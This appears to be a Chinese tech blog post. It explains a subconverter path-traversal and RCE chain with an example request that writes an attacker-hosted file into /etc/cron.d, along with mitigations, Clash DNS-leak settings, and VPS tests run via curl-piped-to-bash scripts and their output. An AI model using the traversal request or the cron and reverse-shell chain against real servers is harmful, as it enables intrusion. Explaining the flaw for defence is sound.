subconverter RCE 漏洞

2022 年 5 月前后,安全研究人员披露了 v0.7.2 及更早版本中存在的一个无需身份验证即可触发的 远程代码执行(RCE)漏洞。

漏洞原理解析

功能机制:动态加载外部配置文件
subconverter 允许用户通过 URL 参数传入自定义的配置模板(例如 config 参数或 ruleset 参数)。
当用户请求转换订阅时,subconverter 会去下载这个指定的外部配置文件,并将转为MD5作为文件名称保存到本地服务器磁盘上,然后再读取解析。

漏洞产生:缺少安全过滤(Path Traversal 目录穿越)
在受影响的版本(如 v0.7.2)中,程序对传入的配置文件文件名或下载路径没有进行严格的过滤和规范化处理。
攻击者可以在请求的参数中,构造带有 ../(路径穿越/目录遍历)特性的文件名或恶意路径。

恶意覆盖:任意写文件
由于没有限制写入文件的路径和类型,攻击者可以控制 subconverter 将任意内容写入到服务器上的任意可写位置。例如:
覆盖 Linux 上的系统配置文件。
写入到系统的计划任务目录(/etc/cron.d/ 或 /var/spool/cron/crontabs/)。
如果 subconverter 部署在 Web 服务器根目录下,攻击者可以直接写入可执行的 WebShell。

完整的入侵过程示例

公网批量扫描:
攻击者利用全网扫描工具(如 Shodan、FOFA)搜索暴露在公网的 subconverter 端口(默认如 25500)。

构造恶意 Payload:
攻击者搭建一个恶意 HTTP 服务,准备好一个包含反弹 Shell(Reverse Shell)或挖矿脚本命令的 Cron 定时任务文件。

发送攻击请求:
攻击者向目标 subconverter 发送精心构造的 GET/POST 请求,参数类似:
http://<Target-IP>:25500/sub?target=clash&url=http://恶意服务器/evil.cfg&config=../../../../../../etc/cron.d/evil_job

服务器被动下载并写入:
subconverter 接收到请求,去下载 evil.cfg,并将其强制保存至 ../../../../../../etc/cron.d/evil_job。

服务器失陷:
Linux Cron 机制触发 evil_job 中的命令,向攻击者的 C2(控制服务器)反弹 Shell,或者开始下载运行 XMRig 挖矿程序。

API 是如何被恶意调用的?

Subconverter 内置了一些用于获取模板或配置信息的 API 接口(如 /getprofile 或 /sub 相关的扩展接口。
问题:代码对路径参数没有做严谨的过滤(目录穿越漏洞)。
结果:攻击者可以直接调用这些 API 接口,越权读取服务器上的配置文件(pref.ini 等)。不仅能看到服务器是否开启了缓存(aCache),甚至还能直接获取到管理员设置的 token。

Subconverter 提供了转换与缓存功能。当你请求转换一个链接时,后端 API 会把下载到的内容保存在服务器本地的缓存目录(cache)中,并以链接的 MD5 散列值作为文件名。
问题:API 允许传入任意远程 URL 参数。
利用:攻击者构造一个指向自己恶意服务器的 URL(里面包含反弹 Shell 的 Bash 脚本),调用 Subconverter 的转换 API。Subconverter 会“听话”地把这段恶意脚本下载下来,并当作缓存文件保存在服务器磁盘上。

Subconverter 内部有一个用于动态解析/运行脚本的 API 接口。
问题:如果服务器没有开启认证(api_mode=false),或者 Token 使用了默认弱口令(如 password)/ 已经在第一步被泄漏,任何人都可以免鉴权或使用泄漏的 Token 调用该 API。
利用:攻击者调用该 API,传入第二步中生成的 MD5 缓存文件名,指示后端“去执行这个缓存文件里的脚本”。服务器收到 API 命令后,立刻在后台执行了 Bash 脚本,向攻击者的 VPS 发起反弹连接 。

解决办法

禁用缓存在 pref.ini 配置文件中设置:

1
enable_cache = false

必须开启 api_mode 并设置“强 Token”

1
2
api_mode = true
api_access_token = 你的超长复杂密码(千万不要用默认的 password)

在 Nginx 配置中,拦截或禁止公网访问用于读取配置和脚本调用的接口:
拦截 /convert?url=… 这种带敏感参数的请求。
封禁 /qx-script 等历史高危接口。
只向公网暴露常规的 /sub 订阅转换主接口。

容器隔离与非 Root 运行
使用 Docker 部署:并将容器根目录挂载为只读(Read-Only)。
禁止 Root 权限:即使黑客真的找到未知的 Day 漏洞拿到了权限,他也只是被困在一个没有写入权限、非 Root 用户的 Docker 容器内部,无法触及你的真实宿主机和网段。

DNS 泄露

检测网站原理

向一个范域名发起随机的域名请求例如:https://f8s4t5tznopvidjf54v5e6pbbnlbyov7gsuh02oh-2.ipleak.net/dnsdetection/ , 这可以保证浏览器缓存,运营商的DNS缓存,上游的DNS缓存都没有这条记录。

运营商通过负载均衡交给上游不同的DNS服务器做解析,最终会找到这个域名的权威域名服务器。当递归查询到达权威服务器时,权威服务器能够直接看到“是谁来向我询问这个随机域名的 IP”,并把这个来访者的 IP 地址记录在后台数据库里。

这里的“谁”,指的就是代表你跑去向权威服务器提问的那台 DNS 服务器(通常是运营商的上游/递归 DNS 服务器,或者你代理节点的 DNS 服务器),绝不是检测网站本身的 IP。

因为完全随机的域名会导致运营商使用不同的上游DNS服务器查询,因此也会得到不同地址。 DNS泄露不是是你电脑的真实 IP,而是你“正在使用哪家运营商/哪个地区的 DNS 服务器”这个信息,以及你“正在访问什么网站”的隐私意图。

DNS泄露的本质就是, DNS 请求是从你“本地设备/本地网络”直接发出去的(哪怕经过了加密),加密(Security) $\neq$ 匿名/防泄露(Privacy & Anonymity)。

加密只是把内容装进了“保险箱”,但快递单地址是公开的,宽带运营商能清楚地看到,你电脑的真实 IP,国内 DNS 服务器的 IP 显然知道这是在做DNS查询,当查询结束后向墙外VPN节点发送大量数据,就可以判定为在使用代理。

因此DNS泄露的本质就是在本地发起了DNS请求,以下这些日常场景也非常容易导致 DNS 泄露:

场景 A:主域名在规则里,但“子域名 / CDN 域名”不在规则里
很多大型海外网站或软件,其服务是由成百上千个极其隐蔽的二级域名或第三方 CDN 支撑的。

例子:你访问某个海外知名软件,主网站 example.com 被代理了,但它后台拉取的某些组件域名(如 static-assets-123.azureedge.net)可能没有收录在你的规则库里。

结果:这个子域名就会掉进默认的本地解析流程,导致在本地发起了 DNS 查询,造成泄露。

场景 B:App / 软件后台的“静默探针”与 DNS 预解析
现在的操作系统(如 Windows、macOS)和浏览器(如 Chrome)都有 DNS 预解析(DNS Prefetching) 功能。

当你打开一个包含大量网页链接的页面时,浏览器为了让你点击时更快,会悄悄在后台把页面里所有链接对应的 DNS 全部提前查一遍。

如果其中包含未经分流匹配的域名,哪怕你根本没有主动去点击那个“小众网站”,你的电脑也已经在后台完成了一次 DNS 泄露。

场景 C:BT / P2P 下载(如 BitTorrent)
当你使用 BT 软件下载海外资源时,BT 客户端需要向全球成千上万个 Tracker 服务器(有些直接是域名形式)汇报自己的状态。如果代理配置不当,这些密集且随机的 Tracker 域名查询会瞬间通过本地 DNS 爆发式泄露。

为什么 Clash 等代理软件会在本地发起DNS请求呢?

核心矛盾一:分流规则(Rule)需要 IP 来判断,Clash 最强大的功能是智能分流(比如:国内网站直连、国外网站走代理、广告直接拦截)。

但绝大多数分流规则,不仅包含域名规则(DOMAIN-SUFFIX),还包含大量的 IP 段规则(IP-CIDR,例如 114.114.114.114/24 或国内 IP 库 GEOIP,CN)。

逻辑死结:当你在浏览器输入 baidu.com 或某个未知的域名时,Clash 在本地拿到这个域名,它如果不先去解析出它的 IP,就无法判断这个 IP 到底属于中国还是国外。

后果:为了判断这个流量该走“直连”还是“代理”,Clash 必须先在本地搞清楚这个域名对应的 IP 是什么。这就逼得它必须在本地发起一次 DNS 请求。

核心矛盾二:DNS 污染与 CDN 加速的“两难抉择”

如果让远端海外节点统一代为解析所有 DNS,看似防住了泄露,却带来了一个巨大的体验痛点:国内网站访问极慢(甚至打不开)。

假设全部交给海外节点解析(Remote DNS):当你访问淘宝、微信、淘宝等国内服务时:

海外节点在国外帮你查 DNS,CDN 会以为是海外用户在访问,于是返回了一个美国的 CDN 加速服务器 IP。

你的电脑拿到这个美国 IP,虽然走直连,但数据包要绕地球一圈去连美国的服务器。

结果就是:开了代理后,国内所有网页和 App 变得卡顿无比。

为了解决这个问题,Clash 必须设计成:国内的域名用本地 DNS 解析(确保拿到最近的 CDN IP),国外的域名才去远端解析。 但只要稍有配置不当(例如分流规则没覆盖全),国外的域名就会误跑进本地 DNS 进行解析,从而造成了 DNS 泄露。

系统层面的“劫持机制”限制

在许多操作系统(Windows / macOS / Android)中,当代理软件开启“系统代理”模式时,浏览器或系统网络栈并不知道你开的是 Socks5/HTTP 代理。

系统的默认行为是:“我要连一个网站,必须先通过操作系统的网络协议栈把域名转成 IP,然后再把 TCP 流量交给代理软件。”

这就导致在流量进入 Clash 之前,操作系统自身就已经抢先向本地网络发起了 DNS 查询。

clash 系统代理配置

核心原理

1
2
3
[custom]
ruleset=DIRECT,[]GEOIP,CN,no-resolve
ruleset=🚀 节点选择,[]FINAL

当数据包匹配到 GEOIP,CN(中国 IP 库)时,如果访问的是一个域名,Clash 为了知道这个域名是不是国内 IP,会在本地悄悄发起一次 DNS 查询。这就瞬间导致了 DNS 泄露!

这段配置的做法:加上了 ,no-resolve,意思是“只匹配纯 IP 流量,如果是域名流量,直接跳过这条规则!绝对不许在本地查 DNS!”

既然删掉了 IP 查 DNS 的功能,那怎么分流呢?配置里的规则顺序非常考究:

精准域名直连:ChinaDomain.list、ChinaMedia.list 等文件里包含了成千上万个国内常用域名(如 .cn、baidu.com、qq.com)。匹配到了就安心走 DIRECT(直连)。

IP 纯直连:ChinaIp.list 和 GEOIP,CN,no-resolve 负责拦截软件/游戏的纯 IP 直连请求。

任何既不在国内域名列表里、又没被 IP 拦截的网站(比如你要访问的被墙/海外小众网站),都会一路下坠,直接撞进这最后一杠 FINAL!

结果:直接交给 🚀 节点选择 远端节点。本地不上网查 DNS,直接把原始域名丢给远端海外服务器去解析。

  • 获取机场的订阅链接

  • 通过 subconverter 转换地址

    subconverter 服务可以通过开源的 subconverter-docker 搭建

  • 获取转换后的链接,修改 config 路径,新 ACL4SSR 地址 需要 encodeURIComponent 编码

  • 将修改后的链接添加到 Clash 中使用

clash TUN 模式配置

多宿主异步 DNS 解析”(Smart Multi-Homed Name Resolution, SMHNR)

当系统需要解析一个域名时,它不会老老实实地只向“当前最主要的网卡”发请求,而是会同时向你电脑上所有的活动网卡(物理网卡、Wi-Fi、TUN 虚拟网卡等)绑定的 DNS 服务器同时发起并发请求。谁先返回结果,Windows 就用谁的结果,并把慢的那个丢弃。

在 TUN 模式下,为什么会瞬间导致泄露?

当你开启 Clash 的 TUN 模式时,系统里相当于多了一张“虚拟网卡”:你访问一个网站(比如 example.com)。

Windows 的 SMHNR 机制启动,同时做两件事:

向 TUN 虚拟网卡(Clash)发送 DNS 请求。

向 物理网卡(你家的局域网/电信联通网卡)绑定的本地 DNS(如 192.168.1.1 或 114.114.114.114)发送 DNS 请求。

物理网卡通常在本地局域网内,响应速度极快(可能只需几毫秒)。

结果:物理网卡抢答成功!本地运营商立刻收到了这个 DNS 查询,检测网站也成功抓包——DNS 泄露瞬间发生!

哪怕 Clash 策略组写得再严密,因为流量在还没进入 TUN 网卡之前,就被 Windows 系统层直接从物理网卡“偷溜”发了一份出去。

在 TUN 模式配置中,确保开启了以下两项:

stack: system 或 gvisor

auto-route: true

strict-route: true(严格路由模式)

💡 原理:开启 strict-route 后,Clash 会在 Windows 系统底层设置最高优先级的路由表和防火墙规则,强制丢弃/拦截所有从非 TUN 物理网卡直接发出的 DNS UDP/TCP 数据包,直接把 Windows 的抢答通道给断掉。

VPS 相关信息

测试线路质量

IP质量体检脚本

1
bash <(curl -Ls https://Check.Place) -I
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
########################################################################
IP质量体检报告:89.208.*.*
https://github.com/xykt/IPQuality
bash <(curl -sL https://Check.Place) -I
报告时间:2026-08-01 15:55:52 CST 脚本版本:v2026-03-29
########################################################################
一、基础信息(Maxmind 数据库)
自治系统号: AS25820
组织: IT7 Networks Inc
坐标: 118°16′15″W, 34°3′5″N
地图: https://check.place/34.0515,-118.2707,15,cn
城市: 加州, 洛杉矶, 90017
使用地: [US]美国, [NA]北美洲
注册地: [CA]加拿大
时区: America/Los_Angeles
IP类型: 广播IP
二、IP类型属性
数据库: IPinfo ipregistry ipapi IP2Location AbuseIPDB
使用类型: 机房 机房 机房 机房 机房
公司类型: 机房 商业 机房 机房
三、风险评分
风险等级: 极低 低 中等 高 极高
IP2Location: 99|高风险
Scamalytics: 1|低风险
ipapi: 0.34%|低风险
AbuseIPDB: 0|低风险
IPQS: 75|可疑IP
四、风险因子
库: IP2Location ipapi ipregistry IPQS Scamalytics ipdata IPinfo DB-IP
地区: [US] [US] [US] [US] [US] [US] [US] 无
代理: 是 否 否 是 否 否 否 无
Tor: 否 否 否 否 否 否 否 无
VPN: 是 否 是 是 否 无 否 无
服务器: 否 是 是 无 否 是 是 无
滥用: 否 否 否 否 否 否 无 无
机器人: 否 否 无 否 否 无 无 无
五、流媒体及AI服务解锁检测
服务商: TikTok Disney+ Netflix Youtube AmazonPV Reddit ChatGPT
状态: 解锁 解锁 解锁 解锁 解锁 解锁 解锁
地区: [US] [US] [US] [US] [US] [] [US]
方式: 原生 原生 原生 原生 原生 原生 原生
六、邮局连通性及黑名单检测
本地25端口出站:可用
通信:-Gmail+Outlook+Yahoo+Apple-QQ+MailRU+AOL-GMX-MailCOM+163-Sohu-Sina
IP地址黑名单数据库: 有效 439 正常 393 已标记 46 黑名单 0
========================================================================
今日IP检测量:2770;总检测量:1859831。感谢使用xy系列脚本!
报告链接:https://Report.Check.Place/ip/1JA0HM034.svg

########################################################################
IP质量体检报告(Lite):2607:8700:5500:*:*:*:*:*
https://github.com/xykt/IPQuality
bash <(curl -sL https://Check.Place) -I
报告时间:2026-08-01 15:55:52 CST 脚本版本:v2026-03-29
########################################################################
一、基础信息(IPinfo 数据库)
自治系统号: AS25820
组织: IT7 Networks Inc
坐标: 118°14′37″W, 34°3′8″N
地图: https://check.place/34.0522,-118.2437,12,cn
城市: Los Angeles, 90013
使用地: [US]United States of America, Americas
注册地: [CA]Canada
时区: America/Los_Angeles
IP类型: 广播IP
二、IP类型属性
数据库: IPinfo ipregistry ipapi
使用类型: 机房 机房 机房
公司类型: 机房 商业 机房
三、风险评分
风险等级: 极低 低 中等 高 极高
ipapi: 0.00%|极低风险
四、风险因子
库: ipapi ipregistry IPinfo DB-IP
地区: [US] [US] [US] 无
代理: 否 否 否 无
Tor: 否 否 否 无
VPN: 否 是 否 无
服务器: 是 是 是 无
滥用: 否 否 无 无
机器人: 否 无 无 无
五、流媒体及AI服务解锁检测
服务商: TikTok Disney+ Netflix Youtube AmazonPV Reddit ChatGPT
状态: 失败 解锁 解锁 解锁 屏蔽 解锁 解锁
地区: [US] [US] [US] [] [US]
方式: 原生 原生 原生 原生 原生
六、邮局连通性及黑名单检测
本地25端口出站:阻断
通信:远端25端口不可达​
========================================================================
今日IP检测量:2776;总检测量:1859837。感谢使用xy系列脚本!

测试线路速度

TcpQuality

1
bash <(curl -fsSL https://raw.githubusercontent.com/ibsgss/TcpQuality/main/runTcpQuality.sh)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
TcpQuality TCP 重传检测--最贴近你上网的综合体验
特价VPS补货TG频道:ibsgss | 感谢 Zstatic CDN 节点
------------------------------------------------------------
[√] 检测到可用 IPv4
[√] 检测到可用 IPv6
正在检测,请稍候...
延迟重传 [########################################] 341/341 (100%)
回程识别 [################################--------] 279/341 (81%)
国际互联 [########################################] 45/45 (100%)
速度测试 [########################################] 9/9 (100%)
TcpQuality TCP 重传检测--最贴近你上网的综合体验
特价VPS补货TG频道:ibsgss | 感谢 Zstatic CDN 节点
------------------------------------------------------------
报告时间:2026-08-01 15:44:42 CST(北京时间)

IPv4回程 统计摘要 零丢包: 92 1-20%: 1 >20%: 0

三网概览 电信 / 联通 / 移动
河北 CN2GIA 158ms 0% / 10099->9929 169ms 0% / CMIN2 162ms 0%
山西 CN2GIA 162ms 0% / 10099->9929 165ms 0% / CMIN2 160ms 0%
辽宁 CN2GIA 166ms 0% / 10099->9929 167ms 0% / CMIN2 167ms 0%
吉林 CN2GIA 168ms 0% / 10099->9929 186ms 0% / CMIN2 171ms 0%
黑龙江 CN2GIA 170ms 0% / 10099->9929 183ms 0% / CMIN2 168ms 0%
江苏 CN2GIA 136ms 0% / 10099->9929 143ms 0% / CMIN2 141ms 0%
浙江 CN2GIA 136ms 0% / 10099->9929 141ms 0% / CMIN2 132ms 0%
安徽 CN2GIA 140ms 0% / 10099->9929 146ms 0% / CMIN2 147ms 0%
福建 CN2GIA 147ms 0% / 10099->9929 157ms 0% / CMIN2 159ms 0%
江西 CN2GIA 147ms 0% / 10099->9929 148ms 0% / CMIN2 143ms 0%
山东 CN2GIA 159ms 0% / 10099->9929 156ms 0% / CMIN2 151ms 0%
河南 CN2GIA 153ms 0% / 10099->9929 157ms 0% / CMIN2 153ms 0%
湖北 CN2GIA 144ms 0% / 10099->9929 150ms 0% / CMIN2 147ms 0%
湖南 CN2GIA 164ms 0% / 10099->9929 157ms 0% / CMIN2 148ms 0%
广东 CN2GIA 159ms 0% / CN2GIA 160ms 0% / CMIN2 172ms 0%
海南 CN2GIA 169ms 0% / 10099->9929 174ms 0% / CMIN2 169ms 0%
四川 CN2GIA 159ms 0% / 10099->9929 170ms 0% / CMIN2 164ms 0%
贵州 CN2GIA 168ms 0% / 10099->9929 170ms 0% / CMIN2 161ms 0%
云南 CN2GIA 173ms 0% / 10099->9929 175ms 0% / CMIN2 176ms 0%
陕西 CN2GIA 150ms 0% / 10099->9929 159ms 0% / CMIN2 172ms 0%
甘肃 CN2GIA 152ms 0% / 10099->9929 166ms 0% / CMIN2 167ms 0%
青海 CN2GIA 201ms 0% / 10099->9929 172ms 0% / CMIN2 188ms 0%
内蒙古 CN2GIA 160ms 0% / 10099->9929 161ms 0% / CMIN2 159ms 0%
广西 CN2GIA 166ms 0% / CN2GIA 167ms 0% / CMIN2 167ms 0%
西藏 CN2GIA 162ms 0% / 10099->9929 193ms 0% / CMIN2 165ms 0%
宁夏 CN2GIA 163ms 0% / 10099->9929 170ms 0% / CMIN2 167ms 0%
新疆 CN2GIA 151ms 0% / 10099->9929 200ms 0% / CMIN2 196ms 0%
北京 CN2GIA 152ms 0% / CN2GIA 178ms 4% / CMIN2 153ms 0%
天津 CN2GIA 158ms 0% / 10099->9929 156ms 0% / CMIN2 150ms 0%
上海 CN2GIA 129ms 0% / CN2GIA 134ms 0% / CMIN2 130ms 0%
重庆 CN2GIA 159ms 0% / 10099->9929 162ms 0% / CMIN2 161ms 0%
颜色: 正常 延迟151-240ms或1-20%重传 延迟>240ms或>20%重传,或失败

IPv4大包回程 统计摘要
零重传: 82 1-20%: 9 >20%: 2

三网概览 电信 / 联通 / 移动
河北 CN2GIA 158ms 0% / 10099->9929 167ms 0% / CMIN2 162ms 0%
山西 CN2GIA 160ms 0% / 10099->9929 164ms 0% / CMIN2 160ms 0%
辽宁 CN2GIA 163ms 0% / 10099->9929 169ms 0% / CMIN2 167ms 0%
吉林 CN2GIA 169ms 0% / 10099->9929 183ms 0% / CMIN2 169ms 0%
黑龙江 CN2GIA 170ms 0% / 10099->9929 183ms 0% / CMIN2 168ms 0%
江苏 CN2GIA 136ms 0% / 10099->9929 143ms 0% / CMIN2 141ms 0%
浙江 CN2GIA 135ms 0% / 10099->9929 146ms 4% / CMIN2 132ms 0%
安徽 CN2GIA 140ms 0% / 10099->9929 147ms 0% / CMIN2 147ms 0%
福建 CN2GIA 147ms 0% / 10099->9929 163ms 0% / CMIN2 158ms 0%
江西 CN2GIA 146ms 0% / 10099->9929 148ms 0% / CMIN2 143ms 0%
山东 163 160ms 0% / 10099->9929 159ms 0% / CMIN2 150ms 0%
河南 CN2GIA 155ms 0% / 10099->9929 158ms 0% / CMIN2 153ms 0%
湖北 CN2GIA 142ms 0% / 10099->9929 146ms 0% / CMIN2 147ms 4%
湖南 CN2GIA 161ms 0% / 10099->9929 154ms 0% / CMIN2 148ms 4%
广东 CN2GIA 158ms 0% / CN2GIA 160ms 0% / CMIN2 172ms 8%
海南 CN2GIA 166ms 0% / 10099->9929 174ms 0% / CMIN2 167ms 34%
四川 CN2GIA 158ms 0% / 10099->9929 170ms 0% / CMIN2 167ms 0%
贵州 CN2GIA 168ms 0% / 10099->9929 169ms 0% / CMIN2 162ms 0%
云南 CN2GIA 174ms 0% / 10099->9929 172ms 0% / CMIN2 173ms 0%
陕西 CN2GIA 149ms 0% / 10099->9929 160ms 0% / CMIN2 173ms 0%
甘肃 CN2GIA 151ms 0% / 10099->9929 163ms 0% / CMIN2 166ms 4%
青海 CN2GIA 167ms 0% / 10099->9929 172ms 0% / CMIN2 185ms 4%
内蒙古 CN2GIA 159ms 0% / 10099->9929 162ms 0% / CMIN2 159ms 4%
广西 CN2GIA 165ms 0% / CN2GIA 166ms 0% / CMIN2 166ms 0%
西藏 CN2GIA 162ms 0% / 10099->9929 190ms 0% / CMIN2 166ms 0%
宁夏 CN2GIA 162ms 0% / 10099->9929 170ms 0% / CMIN2 167ms 0%
新疆 CN2GIA 151ms 0% / 10099->9929 197ms 0% / CMIN2 198ms 0%
北京 CN2GIA 152ms 0% / CN2GIA 177ms 4% / CMIN2 153ms 0%
天津 CN2GIA 158ms 0% / 10099->9929 156ms 0% / CMIN2 151ms 90%
上海 CN2GIA 129ms 0% / CN2GIA 134ms 0% / CMIN2 129ms 0%
重庆 CN2GIA 159ms 0% / 10099->9929 161ms 0% / CMIN2 161ms 4%
颜色: 正常 延迟151-240ms或1-20%重传 延迟>240ms或>20%重传,或失败

IPv6回程 统计摘要 零丢包: 0 1-20%: 0 >20%: 93

三网概览 电信 / 联通 / 移动
河北 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
山西 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
辽宁 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
吉林 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
黑龙江 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
江苏 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
浙江 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
安徽 163 -1ms 100% / Hidden -1ms 100% / CMI -1ms 100%
福建 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
江西 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
山东 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
河南 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
湖北 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
湖南 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
广东 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
海南 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
四川 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
贵州 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
云南 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
陕西 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
甘肃 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
青海 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
内蒙古 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
广西 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
西藏 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
宁夏 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
新疆 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
北京 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
天津 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
上海 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
重庆 163 -1ms 100% / 4837 -1ms 100% / CMI -1ms 100%
颜色: 正常 延迟151-240ms或1-20%重传 延迟>240ms或>20%重传,或失败

教育网回程 统计摘要
CERNET-IPv4 零丢包: 28 1-20%: 1 >20%: 2
CERNET2-IPv6 零丢包: 0 1-20%: 0 >20%: 31

教育网概览 CERNET-IPv4 / CERNET2-IPv6
河北 CN2GIA 152ms 0% / CERNET2 -1ms 100%
山西 CN2GIA 156ms 0% / CERNET2 -1ms 100%
辽宁 CN2GIA 165ms 0% / CERNET2 -1ms 100%
吉林 CN2GIA 167ms 20% / CERNET2 -1ms 100%
黑龙江 CN2GIA 172ms 0% / CERNET2 -1ms 100%
江苏 CERNET 179ms 0% / CERNET2 -1ms 100%
浙江 CERNET 176ms 0% / CERNET2 -1ms 100%
安徽 CERNET 172ms 0% / Hidden -1ms 100%
福建 CERNET 199ms 0% / CERNET2 -1ms 100%
江西 CN2GIA 178ms 0% / CERNET2 -1ms 100%
山东 CERNET 164ms 24% / CERNET2 -1ms 100%
河南 CN2GIA 158ms 0% / CERNET2 -1ms 100%
湖北 CN2GIA 156ms 0% / CERNET2 -1ms 100%
湖南 CN2GIA 163ms 0% / CERNET2 -1ms 100%
广东 CERNET 193ms 0% / CERNET2 -1ms 100%
海南 CERNET 193ms 0% / CERNET2 -1ms 100%
四川 CN2GIA 177ms 0% / CERNET2 -1ms 100%
贵州 CN2GIA 193ms 0% / CERNET2 -1ms 100%
云南 CN2GIA 202ms 0% / CERNET2 -1ms 100%
陕西 CN2GIA 160ms 0% / CERNET2 -1ms 100%
甘肃 CN2GIA 169ms 0% / CERNET2 -1ms 100%
青海 CN2GIA 289ms 32% / CERNET2 -1ms 100%
内蒙古 CN2GIA 159ms 0% / CERNET2 -1ms 100%
广西 CERNET 195ms 0% / CERNET2 -1ms 100%
西藏 CN2GIA 161ms 0% / Hidden -1ms 100%
宁夏 CN2GIA 177ms 0% / CERNET2 -1ms 100%
新疆 CN2GIA 196ms 0% / CERNET2 -1ms 100%
北京 CN2GIA 150ms 0% / Hidden -1ms 100%
天津 CN2GIA 151ms 0% / CERNET2 -1ms 100%
上海 CERNET 150ms 0% / CERNET2 -1ms 100%
重庆 CN2GIA 186ms 0% / CERNET2 -1ms 100%
颜色: 正常 延迟151-240ms或1-20%重传 延迟>240ms或>20%重传,或失败

常用网站 国际互联
服务 域名 可达 延迟 重传
------------------------ -------------------------------- ---- ---------- --------
Adobe Assets assets.adobe.com ✓ 1.213ms 0%
Amazon www.amazon.com ✓ 1.427ms 0%
Apple iCloud www.icloud.com ✓ 1.187ms 0%
AWS STS sts.amazonaws.com ✓ 60.773ms 0%
ChatGPT chatgpt.com ✓ 1.533ms 0%
Claude claude.ai ✓ 1.840ms 0%
Cloudflare Dashboard dash.cloudflare.com ✓ 1.660ms 0%
Discord Gateway gateway.discord.gg ✓ 1.453ms 0%
Dropbox API api.dropboxapi.com ✓ 0.480ms 0%
Facebook www.facebook.com ✓ 1.033ms 0%
GitHub API api.github.com ✓ 31.647ms 0%
GitLab gitlab.com ✓ 2.467ms 0%
Gmail mail.google.com ✓ 1.547ms 0%
Google Search www.google.com ✓ 0.887ms 0%
Google Static www.gstatic.com ✓ 1.060ms 0%
Instagram www.instagram.com ✓ 1.380ms 0%
Microsoft Login login.microsoftonline.com ✓ 62.607ms 0%
Netflix API api-global.netflix.com ✓ 28.807ms 0%
NodeSeek www.nodeseek.com ✓ 1.680ms 0%
Notion API api.notion.com ✓ 1.607ms 0%
OpenAI API api.openai.com ✓ 1.807ms 0%
PayPal API api-m.paypal.com ✓ 0.927ms 0%
Reddit OAuth oauth.reddit.com ✓ 0.773ms 0%
Slack App app.slack.com ✓ 28.200ms 0%
Spotify Web open.spotify.com ✓ 0.547ms 0%
Steam store.steampowered.com ✓ 1.053ms 0%
Telegram telegram.org ✓ 129.220ms 0%
Wikipedia www.wikipedia.org ✓ 13.260ms 0%
X x.com ✓ 1.667ms 0%
YouTube API youtubei.googleapis.com ✓ 0.673ms 0%
Zoom API api.zoom.us ✓ 1.433ms 0%
颜色: 0-50ms 正常 50-150ms 一般 >150ms 异常,或不可达

常用 CDN 国际互联
服务 域名 可达 延迟 重传
------------------------ -------------------------------- ---- ---------- --------
Akamai Edge www.akamai.com ✓ 0.827ms 0%
AWS Static d1.awsstatic.com ✓ 2.327ms 0%
CacheFly cachefly.cachefly.net ✓ 1.033ms 0%
CDN77 Demo 1906714720.rsc.cdn77.org ✓ 1.687ms 0%
Cloudflare CDNJS cdnjs.cloudflare.com ✓ 1.567ms 0%
Fastly Demo http-me.fastly.dev ✓ 1.353ms 0%
Google Fonts Static fonts.gstatic.com ✓ 0.927ms 0%
Google Hosted Libraries ajax.googleapis.com ✓ 1.587ms 0%
jsDelivr cdn.jsdelivr.net ✓ 2.340ms 0%
Microsoft Ajax CDN ajax.aspnetcdn.com ✓ 1.460ms 0%
QUANTIL Edge www.quantil.com ✓ 27.387ms 0%
Tencent EdgeOne edgeone.ai ✓ 1.347ms 0%
UNPKG unpkg.com ✓ 1.640ms 0%
Vercel Edge vercel.com ✓ 0.527ms 0%
